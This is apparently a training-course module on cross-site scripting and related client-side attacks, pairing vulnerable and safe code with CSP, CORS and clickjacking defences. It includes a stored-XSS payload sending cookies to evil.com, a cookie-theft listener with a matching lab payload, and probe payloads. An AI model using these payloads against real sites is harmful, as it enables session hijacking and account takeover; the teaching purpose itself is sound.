Skip to content

Module 05: XSS and Client-Side Attacks

← Module 04: SQL Injection | Topic Home | Next: Broken Access Control →


Status Difficulty Time

XSS turns a website against its own users — understanding it requires seeing the browser as an execution environment that the attacker can control through injected code.

[!NOTE] Stub Module — Full theory content will be expanded in a future update.


Table of Contents

  1. Overview
  2. Prerequisites
  3. Objectives
  4. Theory
  5. Key Concepts
  6. Examples
  7. Common Pitfalls
  8. Cross-Links
  9. Summary

Overview

Cross-Site Scripting (XSS) is the most prevalent vulnerability in web applications. Unlike SQL injection which attacks the server, XSS attacks the user's browser through the application — the server becomes an unwilling intermediary. An XSS vulnerability allows an attacker to execute JavaScript in a victim's browser in the context of the trusted website.

The consequences range from stealing session cookies (account hijacking), to redirecting users to phishing pages, to performing actions on behalf of the victim (CSRF-like behavior), to keylogging. Understanding XSS deeply — all three types, and why each requires a different defensive approach — is essential for web security practitioners.

This module also covers related client-side attack patterns: CORS misconfigurations, clickjacking, and the Content Security Policy (CSP) defensive mechanism.


Prerequisites

  • [[pentesting-security/modules/03_web-application-security]] — OWASP Top 10 overview
  • Basic understanding of HTML and JavaScript
  • Understanding of browser security model (same-origin policy)

Objectives

By the end of this module, you will be able to:

  1. Distinguish between reflected, stored, and DOM-based XSS and explain the attack vector for each
  2. Identify XSS injection points in HTML output using manual testing and Burp Suite
  3. Demonstrate XSS cookie theft using a controlled lab environment (DVWA)
  4. Explain the Content Security Policy (CSP) and how it mitigates XSS
  5. Identify CORS misconfigurations and their security implications
  6. Explain clickjacking and how the X-Frame-Options and CSP frame-ancestors directives prevent it
  7. Implement proper output encoding as the primary XSS defense

Theory

The Three Types of XSS

Reflected XSS: The malicious script is embedded in the URL and reflected immediately in the server's response. The attacker tricks a victim into clicking a crafted URL.

<!-- Vulnerable: server reflects input directly into HTML -->
<!-- URL: http://example.com/search?q=<script>alert(document.cookie)</script> -->
<p>Results for: <script>alert(document.cookie)</script></p>
<!-- The script executes in the victim's browser -->
# Server-side code that creates reflected XSS (DO NOT DO THIS)
from flask import Flask, request
app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q', '')
    # VULNERABLE: directly inserting user input into HTML
    return f"<p>Results for: {query}</p>"

# SAFE: output encoding
import html
@app.route('/search_safe')
def search_safe():
    query = request.args.get('q', '')
    # html.escape() converts < > " ' & to HTML entities
    safe_query = html.escape(query)
    return f"<p>Results for: {safe_query}</p>"
    # <script> becomes &lt;script&gt; — rendered as text, not executed

Stored XSS: The malicious script is stored in the database and served to all users who view the affected page. More dangerous than reflected XSS because no victim interaction (clicking a crafted URL) is needed.

Scenario: A blog comment system with stored XSS
1. Attacker submits comment: <script>document.location='http://evil.com/steal?c='+document.cookie</script>
2. Comment is stored in the database
3. Every user who views the blog post executes the script
4. Their session cookies are sent to the attacker's server
5. Attacker uses stolen cookies to hijack accounts

DOM-Based XSS: The vulnerability is entirely in client-side JavaScript — the server never sees the malicious payload. The DOM is modified unsafely using attacker-controlled data.

// VULNERABLE: reading URL hash and writing to DOM without encoding
// URL: http://example.com/#<img src=x onerror=alert(1)>
const userInput = location.hash.substring(1); // reads URL fragment
document.getElementById('output').innerHTML = userInput;
// innerHTML interprets HTML — the img tag executes onerror handler

// SAFE: use textContent instead of innerHTML for text
document.getElementById('output').textContent = userInput;
// textContent treats the value as plain text — no HTML parsing

Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser which sources of scripts, styles, images, and other resources are trusted. A properly configured CSP makes XSS significantly harder to exploit because even if the attacker injects a script, the browser won't execute it.

# Strict CSP — only allow scripts from the same origin, no inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

# This prevents:
# <script>alert(1)</script>       — inline script blocked
# <script src="https://evil.com/xss.js">  — external script blocked
# <object data="evil.swf">        — object element blocked

CSP is not a primary defense (output encoding remains essential) but is a critical defense-in-depth control. CSP misconfigurations are common and can make CSP ineffective — unsafe-inline or unsafe-eval in the script-src directive effectively disable CSP protection.

CORS Misconfigurations

CORS (Cross-Origin Resource Sharing) headers control which origins can make cross-origin requests to an API. A misconfigured CORS policy can allow any website to read the responses of authenticated API requests.

# VULNERABLE: reflecting the Origin header blindly
from flask import Flask, request, jsonify

@app.route('/api/user')
def get_user():
    origin = request.headers.get('Origin', '')
    response = jsonify({"user": "sensitive data", "credit_card": "4111..."})
    # VULNERABLE: any origin can read the response
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

# SAFE: allowlist specific trusted origins
ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com']

@app.route('/api/user_safe')
def get_user_safe():
    origin = request.headers.get('Origin', '')
    response = jsonify({"user": "sensitive data"})
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Clickjacking

Clickjacking embeds the target website in an invisible iframe and overlays it with a deceptive UI. When the victim clicks what they think is a normal button, they are actually clicking a button on the embedded legitimate site.

# Prevention: X-Frame-Options header
X-Frame-Options: DENY          # No framing allowed
X-Frame-Options: SAMEORIGIN    # Only same-origin frames allowed

# Modern alternative: CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'none';

Key Concepts

Output Encoding — Transforming special characters in data before inserting into an HTML context so they are treated as data, not code. <&lt;, >&gt;, "&quot;, '&#39;, &&amp;. The encoding varies by context: HTML body, HTML attribute, JavaScript, CSS, URL — each context has different dangerous characters.

Same-Origin Policy (SOP) — A browser security mechanism that prevents scripts from one origin (scheme + host + port) from reading responses from a different origin. SOP is why XSS is dangerous: injected script runs in the target site's origin and can read its cookies, make authenticated requests, and access its DOM.

HttpOnly Cookie Flag — When set, cookies with the HttpOnly flag cannot be read by JavaScript (document.cookie will not return them). This is a critical mitigation against cookie theft via XSS — though XSS can still perform other actions on behalf of the user.

Secure Cookie Flag — Ensures the cookie is only sent over HTTPS. Prevents cleartext cookie transmission.


Examples

# Conceptual demonstration — run only in your local DVWA lab
# This shows the server side of a cookie theft attack

from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class CookieTheftServer(BaseHTTPRequestHandler):
    """A simple listener for a XSS cookie theft PoC.
    Only run on localhost (127.0.0.1) — never expose to internet."""

    def do_GET(self):
        # Parse the stolen cookie from the URL
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if 'cookie' in params:
            print(f"[*] Received cookie: {params['cookie'][0]}")
        self.send_response(200)
        self.end_headers()

    def log_message(self, format, *args):
        pass  # Suppress default logging

# XSS payload to inject in DVWA (stored XSS module, security=low)
# <script>new Image().src='http://127.0.0.1:9999/?cookie='+document.cookie</script>

# Start listener on localhost only
server = HTTPServer(('127.0.0.1', 9999), CookieTheftServer)
print("[*] Listening on http://127.0.0.1:9999 (localhost only)")
print("[*] Inject XSS payload in DVWA stored XSS module")
server.serve_forever()

Common Pitfalls

Pitfall 1: Using innerHTML when textContent is sufficient. innerHTML parses HTML; textContent treats the value as plain text. If you only need to display text, always use textContent.

Pitfall 2: Server-side encoding but missing DOM XSS. A server can perfectly encode all output but still be vulnerable to DOM XSS if client-side JavaScript reads URL parameters, localStorage, or postMessage data and writes to innerHTML unsafely.

Pitfall 3: CSP with unsafe-inline. A CSP with script-src 'unsafe-inline' provides no protection against XSS at all. Audit CSP headers carefully for these weakening directives.


  • [[pentesting-security/modules/03_web-application-security]] — OWASP A03 (Injection, which includes XSS)
  • [[pentesting-security/modules/06_broken-access-control]] — CSRF is related to client-side trust issues
  • [[pentesting-security/modules/08_exploitation-basics]] — Burp Suite for XSS testing

Summary

  • XSS injects JavaScript into a page that executes in victims' browsers with the site's trust
  • Three types: Reflected (URL-based, one victim at a time), Stored (database-based, all viewers), DOM-based (client-side JavaScript only)
  • Primary defense: output encoding appropriate to the rendering context (HTML, attribute, JS, CSS, URL)
  • HttpOnly cookie flag prevents cookie theft via XSS (but not all XSS impact)
  • CSP is a critical defense-in-depth control that limits exploitability of XSS
  • CORS misconfigurations allow cross-origin reads of sensitive authenticated API responses
  • Clickjacking is prevented by X-Frame-Options or CSP frame-ancestors headers